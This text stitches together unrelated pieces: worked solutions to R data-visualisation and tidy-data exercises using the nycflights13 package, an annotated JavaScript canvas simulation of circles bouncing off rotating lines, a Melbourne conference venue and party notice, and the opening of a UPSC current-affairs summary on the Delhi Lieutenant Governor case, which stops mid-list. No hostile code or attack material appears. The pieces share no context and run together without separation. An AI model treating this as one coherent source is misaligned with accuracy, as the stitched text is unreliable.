Chapter 5 Learning Check Solutions
5.1 Chapter 2 Solutions
library(dplyr)
library(ggplot2)
library(nycflights13)
(LC2.1) What does any ONE row in this flights
dataset refer to?
- A. Data on an airline
- B. Data on a flight
- C. Data on an airport
- D. Data on multiple flights
Solution: This is data on a flight. Not a flight path! Example:
- a flight path would be United 1545 to Houston
- a flight would be United 1545 to Houston at a specific date/time. For example: 2013/1/1 at 5:15am.
(LC2.2) What are some examples in this dataset of categorical variables? What makes them different than quantitative variables?
Solution: Hint: Type ?flights
in the console to see what all the variables mean!
- Categorical:
carrier
the companydest
the destinationflight
the flight number. Even though this is a number, its simply a label. Example United 1545 is not less than United 1714
- Quantitative:
distance
the distance in milestime_hour
time
(LC2.3) What does int
, dbl
, and chr
mean in the output above?
Solution:
int
: integer. Used to count things i.e. a discrete value. Ex: the # of cars parked in a lotdbl
: double. Used to measure things. i.e. a continuous value. Ex: your height in incheschr
: character. i.e. text
5.2 Chapter 3 Solutions
library(nycflights13)
library(ggplot2)
library(dplyr)
(LC3.1) Take a look at both the flights
and alaska_flights
data frames by running View(flights)
and View(alaska_flights)
in the console. In what respect do these data frames differ?
Solution: flights
contains all flight data, while alaska_flights
contains only data from Alaskan carrier “AS”. We can see that flights has 336776 rows while alaska_flights
has only 714
(LC3.2) What are some practical reasons why dep_delay
and arr_delay
have a positive relationship?
Solution: The later a plane departs, typically the later it will arrive.
(LC3.3) What variables (not necessarily in the flights
data frame) would you expect to have a negative correlation (i.e. a negative relationship) with dep_delay
? Why? Remember that we are focusing on numerical variables here.
Solution: An example in the weather
dataset is visibility
, which measure visibility in miles. As visibility increases, we would expect departure delays to decrease.
(LC3.4) Why do you believe there is a cluster of points near (0, 0)? What does (0, 0) correspond to in terms of the Alaskan flights?
Solution: The point (0,0) means no delay in departure nor arrival. From the point of view of Alaska airlines, this means the flight was on time. It seems most flights are at least close to being on time.
(LC3.5) What are some other features of the plot that stand out to you?
Solution: Different people will answer this one differently. One answer is most flights depart and arrive less than an hour late.
(LC3.6) Create a new scatterplot using different variables in the alaska_flights
data frame by modifying the example above.
Solution: Many possibilities for this one, see the plot below. Is there a pattern in departure delay depending on when the flight is scheduled to depart? Interestingly, there seems to be only two blocks of time where flights depart.
ggplot(data = alaska_flights, mapping = aes(x = dep_time, y = dep_delay)) +
geom_point()
(LC3.7) Why is setting the alpha
argument value useful with scatterplots? What further information does it give you that a regular scatterplot cannot?
Solution: Why is setting the alpha
argument value useful with scatterplots? What further information does it give you that a regular scatterplot cannot? It thins out the points so we address overplotting. But more importantly it hints at the (statistical) density and distribution of the points: where are the points concentrated, where do they occur. We will see more about densities and distributions in Chapter 6 when we switch gears to statistical topics.
(LC3.8) After viewing the Figure 3.4 above, give an approximate range of arrival delays and departure delays that occur the most frequently. How has that region changed compared to when you observed the same plot without the alpha = 0.2
set in Figure 3.2?
Solution: After viewing the Figure 3.4 above, give a range of arrival delays and departure delays that occur most frequently? How has that region changed compared to when you observed the same plot without the alpha = 0.2
set in Figure 3.2? The lower plot suggests that most Alaska flights from NYC depart between 12 minutes early and on time and arrive between 50 minutes early and on time.
(LC3.9) Take a look at both the weather
and early_january_weather
data frames by running View(weather)
and View(early_january_weather)
in the console. In what respect do these data frames differ?
Solution: Take a look at both the weather
and early_january_weather
data frames by running View(weather)
and View(early_january_weather)
in the console. In what respect do these data frames differ? The rows of early_january_weather
are a subset of weather
.
(LC3.10) View()
the flights
data frame again. Why does the time_hour
variable uniquely identify the hour of the measurement whereas the hour
variable does not?
Solution: View()
the flights
data frame again. Why does the time_hour
variable correctly identify the hour of the measurement whereas the hour
variable does not? Because to uniquely identify an hour, we need the year
/month
/day
/hour
sequence, whereas there are only 24 possible hour
’s.
(LC3.11) Why should linegraphs be avoided when there is not a clear ordering of the horizontal axis?
Solution: Why should linegraphs be avoided when there is not a clear ordering of the horizontal axis? Because lines suggest connectedness and ordering.
(LC3.12) Why are linegraphs frequently used when time is the explanatory variable?
Solution: Why are linegraphs frequently used when time is the explanatory variable? Because time is sequential: subsequent observations are closely related to each other.
(LC3.13) Plot a time series of a variable other than temp
for Newark Airport in the first 15 days of January 2013.
Solution: Plot a time series of a variable other than temp
for Newark Airport in the first 15 days of January 2013. Humidity is a good one to look at, since this very closely related to the cycles of a day.
ggplot(data = early_january_weather, mapping = aes(x = time_hour, y = humid)) +
geom_line()
(LC3.14) What does changing the number of bins from 30 to 60 tell us about the distribution of temperatures?
Solution: The distribution doesn’t change much. But by refining the bid width, we see that the temperature data has a high degree of accuracy. What do I mean by accuracy? Looking at the temp
variabile by View(weather)
, we see that the precision of each temperature recording is 2 decimal places.
(LC3.15) Would you classify the distribution of temperatures as symmetric or skewed?
Solution: It is rather symmetric, i.e. there are no long tails on only one side of the distribution
(LC3.16) What would you guess is the “center” value in this distribution? Why did you make that choice?
Solution: The center is around 55.2603921°F. By running the summary()
command, we see that the mean and median are very similar. In fact, when the distribution is symmetric the mean equals the median.
(LC3.17) Is this data spread out greatly from the center or is it close? Why?
Solution: This can only be answered relatively speaking! Let’s pick things to be relative to Seattle, WA temperatures:
While, it appears that Seattle weather has a similar center of 55°F, its temperatures are almost entirely between 35°F and 75°F for a range of about 40°F. Seattle temperatures are much less spread out than New York i.e. much more consistent over the year. New York on the other hand has much colder days in the winter and much hotter days in the summer. Expressed differently, the middle 50% of values, as delineated by the interquartile range is 30°F:
(LC3.18) What other things do you notice about the faceted plot above? How does a faceted plot help us see relationships between two variables?
Solution:
- Certain months have much more consistent weather (August in particular), while others have crazy variability like January and October, representing changes in the seasons.
- The two variables we are see the relationship of are
temp
andmonth
.
(LC3.19) What do the numbers 1-12 correspond to in the plot above? What about 25, 50, 75, 100?
Solution:
- While month is technically a number between 1-12, we’re viewing it as a categorical variable here. Specifically an ordinal categorical variable since there is a ordering to the categories
- 25, 50, 75, 100 are temperatures
(LC3.20) For which types of data-sets would these types of faceted plots not work well in comparing relationships between variables? Give an example describing the nature of these variables and other important characteristics.
Solution:
- We’d have 365 facets to look at. Way to many.
- We don’t really care about day-to-day fluctuation in weather so much, but maybe more week-to-week variation. We’d like to focus on seasonal trends.
(LC3.21) Does the temp
variable in the weather
data-set have a lot of variability? Why do you say that?
Solution: Again, like in LC (LC3.17), this is a relative question. I would say yes, because in New York City, you have 4 clear seasons with different weather. Whereas in Seattle WA and Portland OR, you have two seasons: summer and rain!
(LC3.22) What does the dot at the bottom of the plot for May correspond to? Explain what might have occurred in May to produce this point.
Solution: It appears to be an outlier. Let’s revisit the use of the filter
command to hone in on it. We want all data points where the month
is 5 and temp<25
weather %>%
filter(month==5 & temp < 25)
# A tibble: 1 x 15
origin year month day hour temp dewp humid wind_dir wind_speed wind_gust
<chr> <dbl> <dbl> <int> <int> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl>
1 JFK 2013 5 8 22 13.1 12.0 95.3 80 8.06 NA
# ... with 4 more variables: precip <dbl>, pressure <dbl>, visib <dbl>,
# time_hour <dttm>
There appears to be only one hour and only at JFK that recorded 13.1 F (-10.5 C) in the month of May. This is probably a data entry mistake! Why wasn’t the weather at least similar at EWR (Newark) and LGA (La Guardia)?
(LC3.23) Which months have the highest variability in temperature? What reasons do you think this is?
Solution: We are now interested in the spread of the data. One measure some of you may have seen previously is the standard deviation. But in this plot we can read off the Interquartile Range (IQR):
- The distance from the 1st to the 3rd quartiles i.e. the length of the boxes
- You can also think of this as the spread of the middle 50% of the data
Just from eyeballing it, it seems
- November has the biggest IQR, i.e. the widest box, so has the most variation in temperature
- August has the smallest IQR, i.e. the narrowest box, so is the most consistent temperature-wise
Here’s how we compute the exact IQR values for each month (we’ll see this more in depth Chapter 5 of the text):
group
the observations bymonth
then- for each
group
, i.e.month
,summarize
it by applying the summary statistic functionIQR()
, while making sure to skip over missing data viana.rm=TRUE
then arrange
the table indesc
ending order ofIQR
weather %>%
group_by(month) %>%
summarize(IQR = IQR(temp, na.rm=TRUE)) %>%
arrange(desc(IQR))
| month | IQR |
|---|---|
| 11 | 16.02 |
| 12 | 14.04 |
| 1 | 13.77 |
| 9 | 12.06 |
| 4 | 12.06 |
| 5 | 11.88 |
| 6 | 10.98 |
| 10 | 10.98 |
| 2 | 10.08 |
| 7 | 9.18 |
| 3 | 9.00 |
| 8 | 7.02 |
(LC3.24) We looked at the distribution of a numerical variable over a categorical variable here with this boxplot. Why can’t we look at the distribution of one numerical variable over the distribution of another numerical variable? Say, temperature across pressure, for example?
Solution: Because we need a way to group many numerical observations together, say by grouping by month. For pressure, we have near unique values for pressure, i.e. no groups, so we can’t make boxplots.
(LC3.25) Boxplots provide a simple way to identify outliers. Why may outliers be easier to identify when looking at a boxplot instead of a faceted histogram?
Solution: In a histogram, the bin corresponding to where an outlier lies may not by high enough for us to see. In a boxplot, they are explicitly labelled separately.
(LC3.26) Why are histograms inappropriate for visualizing categorical variables?
Solution: Histograms are for numerical variables i.e. the horizontal part of each histogram bar represents an interval, whereas for a categorical variable each bar represents only one level of the categorical variable.
(LC3.27) What is the difference between histograms and barplots?
Solution: See above.
(LC3.28) How many Envoy Air flights departed NYC in 2013?
Solution: Envoy Air is carrier code MQ
and thus 26397 flights departed NYC in 2013.
(LC3.29) What was the seventh highest airline in terms of departed flights from NYC in 2013? How could we better present the table to get this answer quickly?
Solution: What a pain! We’ll see in Chapter 5 on Data Wrangling that applying arrange(desc(n))
will sort this table in descending order of n
!
(LC3.30) Why should pie charts be avoided and replaced by barplots?
Solution: In our opinion, comparisons using horizontal lines are easier than comparing angles and areas of circles.
(LC3.31) What is your opinion as to why pie charts continue to be used?
Solution: Legacy?
(LC3.32) What kinds of questions are not easily answered by looking at the above figure?
Solution: Because the red, green, and blue bars don’t all start at 0 (only red does), it makes comparing counts hard.
(LC3.33) What can you say, if anything, about the relationship between airline and airport in NYC in 2013 in regards to the number of departing flights?
Solution: The different airlines prefer different airports. For example, United is mostly a Newark carrier and JetBlue is a JFK carrier. If airlines didn’t prefer airports, each color would be roughly one third of each bar.}
(LC3.34) Why might the side-by-side (AKA dodged) barplot be preferable to a stacked barplot in this case?
Solution: We can easily compare the different aiports for a given carrier using a single comparison line i.e. things are lined up
(LC3.35) What are the disadvantages of using a side-by-side (AKA dodged) barplot, in general?
Solution: It is hard to get totals for each airline.
(LC3.36) Why is the faceted barplot preferred to the side-by-side and stacked barplots in this case?
Solution: Not that different than using side-by-side; depends on how you want to organize your presentation.
(LC3.37) What information about the different carriers at different airports is more easily seen in the faceted barplot?
Solution: Now we can also compare the different carriers within a particular airport easily too. For example, we can read off who the top carrier for each airport is easily using a single horizontal line.
5.3 Chapter 4 Solutions
library(dplyr)
library(ggplot2)
library(nycflights13)
library(tidyr)
library(readr)
(LC4.1) Consider the following data frame of average number of servings of beer, spirits, and wine consumption in three countries as reported in the FiveThirtyEight article Dear Mona Followup: Where Do People Drink The Most Beer, Wine And Spirits?
# A tibble: 3 x 4
country beer_servings spirit_servings wine_servings
<chr> <int> <int> <int>
1 Canada 240 122 100
2 South Korea 140 16 9
3 USA 249 158 84
This data frame is not in tidy format. What would it look like if it were?
Solution: There are three variables of information included: country, alcohol type, and number of servings. In tidy format, each of these variables of information are included in their own column.
# A tibble: 9 x 3
country `alcohol type` servings
<chr> <chr> <int>
1 Canada beer 240
2 Canada spirit 122
3 Canada wine 100
4 South Korea beer 140
5 South Korea spirit 16
6 South Korea wine 9
7 USA beer 249
8 USA spirit 158
9 USA wine 84
Note that how the rows are sorted is inconsequential in whether or not the data frame is in tidy format. In other words, the following data frame sorted by alcohol type instead of country is equally in tidy format.
# A tibble: 9 x 3
country `alcohol type` servings
<chr> <chr> <int>
1 Canada beer 240
2 South Korea beer 140
3 USA beer 249
4 Canada spirit 122
5 South Korea spirit 16
6 USA spirit 158
7 Canada wine 100
8 South Korea wine 9
9 USA wine 84
(LC4.2) What properties of the observational unit do each of lat
, lon
, alt
, tz
, dst
, and tzone
describe for the airports
data frame? Note that you may want to use ?airports
to get more information.
Solution: lat
long
represent the airport geographic coordinates, alt
is the altitude above sea level of the airport (Run airports %>% filter(faa == "DEN")
to see the altitude of Denver International Airport), tz
is the time zone difference with respect to GMT in London UK, dst
is the daylight savings time zone, and tzone
is the time zone label.
(LC4.3) Provide the names of variables in a data frame with at least three variables in which one of them is an identification variable and the other two are not. In other words, create your own tidy dataset that matches these conditions.
Solution:
- In the
weather
example in LC3.8, the combination oforigin
,year
,month
,day
,hour
are identification variables as they identify the observation in question. - Anything else pertains to observations:
temp
,humid
,wind_speed
, etc.
(LC4.4) Convert the dem_score
data frame into a tidy data frame and assign the name of dem_score_tidy
to the resulting long-formatted data frame.
Solution: Running the following in the console:
dem_score_tidy <- gather(data = dem_score, key = year, value = democracy_score, - country)
Let’s now compare the dem_score
and dem_score_tidy
. dem_score
has democracy score information for each year in columns, whereas in dem_score_tidy
there are explicit variables year
and democracy_score
. While both representations of the data contain the same information, we can only use ggplot()
to create plots using the dem_score_tidy
data frame.
dem_score
# A tibble: 96 x 10
country `1952` `1957` `1962` `1967` `1972` `1977` `1982` `1987` `1992`
<chr> <int> <int> <int> <int> <int> <int> <int> <int> <int>
1 Albania -9 -9 -9 -9 -9 -9 -9 -9 5
2 Argentina -9 -1 -1 -9 -9 -9 -8 8 7
3 Armenia -9 -7 -7 -7 -7 -7 -7 -7 7
4 Australia 10 10 10 10 10 10 10 10 10
5 Austria 10 10 10 10 10 10 10 10 10
6 Azerbaijan -9 -7 -7 -7 -7 -7 -7 -7 1
7 Belarus -9 -7 -7 -7 -7 -7 -7 -7 7
8 Belgium 10 10 10 10 10 10 10 10 10
9 Bhutan -10 -10 -10 -10 -10 -10 -10 -10 -10
10 Bolivia -4 -3 -3 -4 -7 -7 8 9 9
# ... with 86 more rows
dem_score_tidy
# A tibble: 864 x 3
country year democracy_score
<chr> <chr> <int>
1 Albania 1952 -9
2 Argentina 1952 -9
3 Armenia 1952 -9
4 Australia 1952 10
5 Austria 1952 10
6 Azerbaijan 1952 -9
7 Belarus 1952 -9
8 Belgium 1952 10
9 Bhutan 1952 -10
10 Bolivia 1952 -4
# ... with 854 more rows
(LC4.5) Read in the life expectancy data stored at https://moderndive.com/data/le_mess.csv and convert it to a tidy data frame.
Solution: The code is similar
life_expectancy <- read_csv('https://moderndive.com/data/le_mess.csv')
life_expectancy_tidy <- gather(data = life_expectancy, key = year, value = life_expectancy, -country)
We observe the same construct structure with respect to year
in life_expectancy
vs life_expectancy_tidy
as we did in dem_score
vs dem_score_tidy
:
life_expectancy
# A tibble: 202 x 67
country `1951` `1952` `1953` `1954` `1955` `1956` `1957` `1958` `1959` `1960`
<chr> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl>
1 Afghan… 27.1 27.7 28.2 28.7 29.3 29.8 30.3 30.9 31.4 31.9
2 Albania 54.7 55.2 55.8 56.6 57.4 58.4 59.5 60.6 61.8 62.9
3 Algeria 43.0 43.5 44.0 44.4 44.9 45.4 45.9 46.4 47.0 47.5
4 Angola 31.0 31.6 32.1 32.7 33.2 33.8 34.3 34.9 35.4 36.0
5 Antigu… 58.3 58.8 59.3 59.9 60.4 60.9 61.4 62.0 62.5 63.0
6 Argent… 61.9 62.5 63.1 63.6 64.0 64.4 64.7 65 65.2 65.4
7 Armenia 62.7 63.1 63.6 64.1 64.5 65 65.4 65.9 66.4 66.9
8 Aruba 59.0 60.0 61.0 61.9 62.7 63.4 64.1 64.7 65.2 65.7
9 Austra… 68.7 69.1 69.7 69.8 70.2 70.0 70.3 70.9 70.4 70.9
10 Austria 65.2 66.8 67.3 67.3 67.6 67.7 67.5 68.5 68.4 68.8
# ... with 192 more rows, and 56 more variables: `1961` <dbl>, `1962` <dbl>,
# `1963` <dbl>, `1964` <dbl>, `1965` <dbl>, `1966` <dbl>, `1967` <dbl>,
# `1968` <dbl>, `1969` <dbl>, `1970` <dbl>, `1971` <dbl>, `1972` <dbl>,
# `1973` <dbl>, `1974` <dbl>, `1975` <dbl>, `1976` <dbl>, `1977` <dbl>,
# `1978` <dbl>, `1979` <dbl>, `1980` <dbl>, `1981` <dbl>, `1982` <dbl>,
# `1983` <dbl>, `1984` <dbl>, `1985` <dbl>, `1986` <dbl>, `1987` <dbl>,
# `1988` <dbl>, `1989` <dbl>, `1990` <dbl>, `1991` <dbl>, `1992` <dbl>,
# `1993` <dbl>, `1994` <dbl>, `1995` <dbl>, `1996` <dbl>, `1997` <dbl>,
# `1998` <dbl>, `1999` <dbl>, `2000` <dbl>, `2001` <dbl>, `2002` <dbl>,
# `2003` <dbl>, `2004` <dbl>, `2005` <dbl>, `2006` <dbl>, `2007` <dbl>,
# `2008` <dbl>, `2009` <dbl>, `2010` <dbl>, `2011` <dbl>, `2012` <dbl>,
# `2013` <dbl>, `2014` <dbl>, `2015` <dbl>, `2016` <dbl>
life_expectancy_tidy
# A tibble: 13,332 x 3
country year life_expectancy
<chr> <chr> <dbl>
1 Afghanistan 1951 27.1
2 Albania 1951 54.7
3 Algeria 1951 43.0
4 Angola 1951 31.0
5 Antigua and Barbuda 1951 58.3
6 Argentina 1951 61.9
7 Armenia 1951 62.7
8 Aruba 1951 59.0
9 Australia 1951 68.7
10 Austria 1951 65.2
# ... with 13,322 more rows
(LC4.6) What are common characteristics of “tidy” datasets?
Solution: Rows correspond to observations, while columns correspond to variables.
(LC4.7) What makes “tidy” datasets useful for organizing data?
Solution: Tidy datasets are an organized way of viewing data. We’ll see later that this format is required for the ggplot2
and dplyr
packages for data visualization and wrangling.
(LC4.8) What are some advantages of data in normal forms? What are some disadvantages?
Solution: When datasets are in normal form, we can easily _join
them with other datasets! For example, can we join the flights
data with the planes
data? We’ll see this more in Chapter 5!
Chihara, Laura M., and Tim C. Hesterberg. 2011. Mathematical Statistics with Resampling and R. Hoboken, NJ: John Wiley; Sons. https://sites.google.com/site/chiharahesterberg/home.
Diez, David M, Christopher D Barr, and Mine Çetinkaya-Rundel. 2014. Introductory Statistics with Randomization and Simulation. First Edition. https://www.openintro.org/stat/textbook.php?stat_book=isrs.
Grolemund, Garrett, and Hadley Wickham. 2016. R for Data Science. http://r4ds.had.co.nz/.
Ismay, Chester. 2016. Getting Used to R, RStudio, and R Markdown. http://ismayc.github.io/rbasics-book.
Kim, Albert Y., Chester Ismay, and Jennifer Chunn. 2018. Fivethirtyeight: Data and Code Behind the Stories and Interactives at ’Fivethirtyeight’. https://github.com/rudeboybert/fivethirtyeight.
Robbins, Naomi. 2013. Creating More Effective Graphs. Chart House.
Wickham, Hadley. 2014. “Tidy Data.” Journal of Statistical Software Volume 59 (Issue 10). https://www.jstatsoft.org/index.php/jss/article/view/v059i10/v59i10.pdf.
———. 2018. Nycflights13: Flights That Departed Nyc in 2013. https://CRAN.R-project.org/package=nycflights13.
Wickham, Hadley, and Lionel Henry. 2018. Tidyr: Easily Tidy Data with ’Spread()’ and ’Gather()’ Functions. https://CRAN.R-project.org/package=tidyr.
Wickham, Hadley, Winston Chang, Lionel Henry, Thomas Lin Pedersen, Kohske Takahashi, Claus Wilke, and Kara Woo. 2018. Ggplot2: Create Elegant Data Visualisations Using the Grammar of Graphics.
Wilkinson, Leland. 2005. The Grammar of Graphics (Statistics and Computing). Secaucus, NJ, USA: Springer-Verlag New York, Inc.
Xie, Yihui. 2018. Bookdown: Authoring Books and Technical Documents with R Markdown. https://CRAN.R-project.org/package=bookdown.


;(function(exports) {
;(function(exports) {
start() creates the lines and circles and starts the simulation.
function start() {
In index.html, there is a canvas tag that the game will be drawn in. Grab that canvas out of the DOM. From it, get the drawing context, an object that contains functions that allow drawing to the canvas.
var screen = document.getElementById('circles-bouncing-off-lines').getContext('2d');
world
holds the current state of the world.
var world = {
circles: [],
Set up the five lines.
lines: [
makeLine({ x: 100, y: 100 }),
makeLine({ x: 200, y: 100 }),
makeLine({ x: 150, y: 150 }),
makeLine({ x: 100, y: 200 }),
makeLine({ x: 220, y: 200 }),
],
dimensions: { x: screen.canvas.width, y: screen.canvas.height },
timeLastCircleMade
is used in the periodic creation of new circles.
timeLastCircleMade: 0
};
tick() is the main simulation tick function. It loops forever, running 60ish times a second.
function tick() {
Update state of circles and lines.
update(world);
Draw circles and lines.
draw(world, screen);
Queue up the next call to tick with the browser.
requestAnimationFrame(tick);
};
Run the first game tick. All future calls will be scheduled by
tick()
itself.
tick();
};
Export start()
so it can be run by index.html
exports.start = start;
update() updates the state of the lines and circles.
function update(world) {
Move and bounce the circles.
updateCircles(world)
Create new circle if one hasn’t been created for a while.
createNewCircleIfDue(world);
Rotate the lines.
updateLines(world);
};
updateCircles() moves and bounces the circles.
function updateCircles(world) {
for (var i = world.circles.length - 1; i >= 0; i--) {
var circle = world.circles[i];
Run through all lines.
for (var j = 0; j < world.lines.length; j++) {
var line = world.lines[j];
If line
is intersecting circle
, bounce circle off line.
if (trig.isLineIntersectingCircle(circle, line)) {
physics.bounceCircle(circle, line);
}
}
Apply gravity to the velocity of circle
.
physics.applyGravity(circle);
Move circle
according to its velocity.
physics.moveCircle(circle);
Remove circles that are off screen.
if (!isCircleInWorld(circle, world.dimensions)) {
world.circles.splice(i, 1);
}
}
};
createNewCircleIfDue() creates a new circle every so often.
function createNewCircleIfDue(world) {
var now = new Date().getTime();
if (now - world.timeLastCircleMade > 400) {
world.circles.push(makeCircle({ x: world.dimensions.x / 2, y: -5 }));
Update last circle creation time.
world.timeLastCircleMade = now;
}
};
updateLines() rotates the lines.
function updateLines(world) {
for (var i = 0; i < world.lines.length; i++) {
world.lines[i].angle += world.lines[i].rotateSpeed;
}
};
draw() draws the all the circles and lines in the simulation.
function draw(world, screen) {
Clear away the drawing from the previous tick.
screen.clearRect(0, 0, world.dimensions.x, world.dimensions.y);
var bodies = world.circles.concat(world.lines);
for (var i = 0; i < bodies.length; i++) {
bodies[i].draw(screen);
}
};
makeCircle() creates a circle that has the passed center
.
function makeCircle(center) {
return {
center: center,
velocity: { x: 0, y: 0 },
radius: 5,
The circle has its own built-in draw()
function. This allows
the main draw()
to just polymorphicly call draw()
on circles and lines.
draw: function(screen) {
screen.beginPath();
screen.arc(this.center.x, this.center.y, this.radius, 0, Math.PI * 2, true);
screen.closePath();
screen.fillStyle = "black";
screen.fill();
}
};
};
makeLine() creates a line that has the passed center
.
function makeLine(center) {
return {
center: center,
len: 70,
Angle of the line in degrees.
angle: 0,
rotateSpeed: 0.5,
The line has its own built-in draw()
function. This allows
the main draw()
to just polymorphicly call draw()
on circles and lines.
draw: function(screen) {
var end1 = trig.lineEndPoints(this)[0];
var end2 = trig.lineEndPoints(this)[1];
screen.beginPath();
screen.lineWidth = 1.5;
screen.moveTo(end1.x, end1.y);
screen.lineTo(end2.x, end2.y);
screen.closePath();
screen.strokeStyle = "black";
screen.stroke();
}
};
};
isCircleInWorld() returns true if circle
is on screen.
function isCircleInWorld(circle, worldDimensions) {
return circle.center.x > -circle.radius &&
circle.center.x < worldDimensions.x + circle.radius &&
circle.center.y > -circle.radius &&
circle.center.y < worldDimensions.y + circle.radius;
};
var trig = {
distance() returns the distance between point1
and point2
as the crow flies. Uses Pythagoras’s theorem.
distance: function(point1, point2) {
var x = point1.x - point2.x;
var y = point1.y - point2.y;
return Math.sqrt(x * x + y * y);
},
magnitude() returns the magnitude of the passed vector. Sort of like the vector’s speed. A vector with a larger x or y will have a larger magnitude.
magnitude: function(vector) {
return Math.sqrt(vector.x * vector.x + vector.y * vector.y);
},
unitVector() returns the unit vector for vector
.
A unit vector points in the same direction as the original,
but has a magnitude of 1. It’s like a direction with a
speed that is the same as all other unit vectors.
unitVector: function(vector) {
return {
x: vector.x / trig.magnitude(vector),
y: vector.y / trig.magnitude(vector)
};
},
dotProduct() returns the dot product of vector1
and
vector2
. A dot product represents the amount one vector goes
in the direction of the other. Imagine vector2
runs along
the ground and vector1
represents a ball fired from a
cannon. If vector2
is multiplied by the dot product of the
two vectors, it produces a vector that represents the amount
of ground covered by the ball.
dotProduct: function(vector1, vector2) {
return vector1.x * vector2.x + vector1.y * vector2.y;
},
vectorBetween() returns the vector that runs between startPoint
and endPoint
.
vectorBetween: function(startPoint, endPoint) {
return {
x: endPoint.x - startPoint.x,
y: endPoint.y - startPoint.y
};
},
lineEndPoints() returns an array containing the points
at each end of line
.
lineEndPoints: function(line) {
var angleRadians = line.angle * 0.01745;
Create a unit vector that represents the heading of
line
.
var lineUnitVector = trig.unitVector({
x: Math.cos(angleRadians),
y: Math.sin(angleRadians)
});
Multiply the unit vector by half the line length. This produces a vector that represents the offset of one of the ends of the line from the center.
var endOffsetFromCenterVector = {
x: lineUnitVector.x * line.len / 2,
y: lineUnitVector.y * line.len / 2
};
Return an array that contains the points at the two line
ends.
return [
Add the end offset to the center to get one end of ‘line’.
{
x: line.center.x + endOffsetFromCenterVector.x,
y: line.center.y + endOffsetFromCenterVector.y
},
Subtract the end offset from the center to get the other
end of line
.
{
x: line.center.x - endOffsetFromCenterVector.x,
y: line.center.y - endOffsetFromCenterVector.y
}
];
},
pointOnLineClosestToCircle() returns the point on line
closest to circle
.
pointOnLineClosestToCircle: function(circle, line) {
Get the points at each end of line
.
var lineEndPoint1 = trig.lineEndPoints(line)[0];
var lineEndPoint2 = trig.lineEndPoints(line)[1];
Create a vector that represents the line
var lineUnitVector = trig.unitVector(
trig.vectorBetween(lineEndPoint1, lineEndPoint2));
Pick a line end and create a vector that represents the imaginary line between the end and the circle.
var lineEndToCircleVector = trig.vectorBetween(lineEndPoint1, circle.center);
Get a dot product of the vector between the line end and circle, and
the line vector. (See the dotProduct()
function for a
fuller explanation.) This projects the line end and circle
vector along the line vector. Thus, it represents how far
along the line to go from the end to get to the point on the
line that is closest to the circle.
var projection = trig.dotProduct(lineEndToCircleVector, lineUnitVector);
If projection
is less than or equal to 0, the closest point
is at or past lineEndPoint1
. So, return lineEndPoint1
.
if (projection <= 0) {
return lineEndPoint1;
If projection
is greater than or equal to the length of the
line, the closest point is at or past lineEndPoint2
. So,
return lineEndPoint2
.
} else if (projection >= line.len) {
return lineEndPoint2;
The projection indicates a point part way along the line. Return that point.
} else {
return {
x: lineEndPoint1.x + lineUnitVector.x * projection,
y: lineEndPoint1.y + lineUnitVector.y * projection
};
}
},
isLineIntersectingCircle() returns true if line
is
intersecting circle
.
isLineIntersectingCircle: function(circle, line) {
Get point on line closest to circle.
var closest = trig.pointOnLineClosestToCircle(circle, line);
Get the distance between the closest point and the center of the circle.
var circleToLineDistance = trig.distance(circle.center, closest);
Return true if distance is less than the radius.
return circleToLineDistance < circle.radius;
}
}
var physics = {
applyGravity() adds gravity to the velocity of circle
.
applyGravity: function(circle) {
circle.velocity.y += 0.06;
},
moveCircle() adds the velocity of the circle to its center.
moveCircle: function(circle) {
circle.center.x += circle.velocity.x;
circle.center.y += circle.velocity.y;
},
bounceCircle() assumes line
is intersecting circle
and
bounces circle
off line
.
bounceCircle: function(circle, line) {
Get the vector that points out from the surface the circle is bouncing on.
var bounceLineNormal = physics.bounceLineNormal(circle, line);
Set the new circle velocity by reflecting the old velocity in
bounceLineNormal
.
var dot = trig.dotProduct(circle.velocity, bounceLineNormal);
circle.velocity.x -= 2 * dot * bounceLineNormal.x;
circle.velocity.y -= 2 * dot * bounceLineNormal.y;
Move the circle until it has cleared the line. This stops the circle getting stuck in the line.
while (trig.isLineIntersectingCircle(circle, line)) {
physics.moveCircle(circle);
}
},
bounceLineNormal() assumes line
intersects circle
. It
returns the normal to the side of the line that the circle
is
hitting.
bounceLineNormal: function(circle, line) {
Get vector that starts at the closest point on the line and ends at the circle. If the circle is hitting the flat of the line, this vector will point perpenticular to the line. If the circle is hitting the end of the line, the vector will point from the end to the center of the circle.
var circleToClosestPointOnLineVector =
trig.vectorBetween(
trig.pointOnLineClosestToCircle(circle, line),
circle.center);
Make the normal a unit vector and return it.
return trig.unitVector(circleToClosestPointOnLineVector);
}
};
When the DOM is ready, start the simulation.
window.addEventListener('load', start);
})(this);


On Thursday 10th April doors will open at 8am with the event kicking off at 9am - sharp. The event is held in the North Melbourne Meat Market and is easily accesible with the 55 and 59 trams(visible. The Flemington Rd/Peel St and The Royal Melbourne Hospital/Grattan St stops are a block away. It is also a short cab ride from the CBD.
The following map has information on how to get to the venue and the opening and closing event locations.
View
Our opening party will be held at Mr Wows Emporium starting at 8pm on the 9th of April. This event will be a shared with the closing party for CSSConf.au, so it will be a great event to meet new friends. Food and drinks will be provided.
After the conference we hope you can join us at The mercat for some BBQ provided by Fancy Hanks! This event will kick off at 7pm. Your name badge from the conference will be required for this event.
If you have any questions, please feel free to shoot the team an email.


TABLE OF CONTENTS
A. GS1 Related B. GS2 Related POLITY 1. Delhi LG cannot simply sit on files and stultify governance: Justice Chandrachud 2. All physical contact not harassment: Delhi HC 3. Finance Commission’s changing roles, challenges over the years INTERNATIONAL RELATIONS 1. India hits out at China’s stance, as Beijing blocks UN move against Azhar C. GS3 Related ECONOMICS 1. India falls to 108 on World Economic Forum’s gender gap index INTERNAL SECURITY 1. India offers to share real-time maritime data D. GS4 Related E. Prelims Fact F. UPSC Prelims Practice Questions G. UPSC Mains Practice Questions
Nothing here for Today!!!
1. Delhi LG cannot simply sit on files and stultify governance: Justice Chandrachud
Context:
- Five-judge Constitution Bench hearing a batch of nine appeals filed by the Arvind Kejriwal-led Aam Aadmi Party government against an August 4, 2016 judgment of the Delhi High Court.
- Controversy : proviso to Article 239AA (4), which mandates that in case of a difference of opinion between the LG and the Council of Ministers, the former has to refer the issue to the President. In the meanwhile, while that decision is pending before the President, the LG, if the matter is urgent, can use his discretion to take immediate action.
High Court order:
- It declared the LG to have “complete control of all matters regarding National Capital Territory of Delhi, and nothing will happen without the concurrence of the LG.”
- LG has special powers greater than the President, greater than other Governors of States.

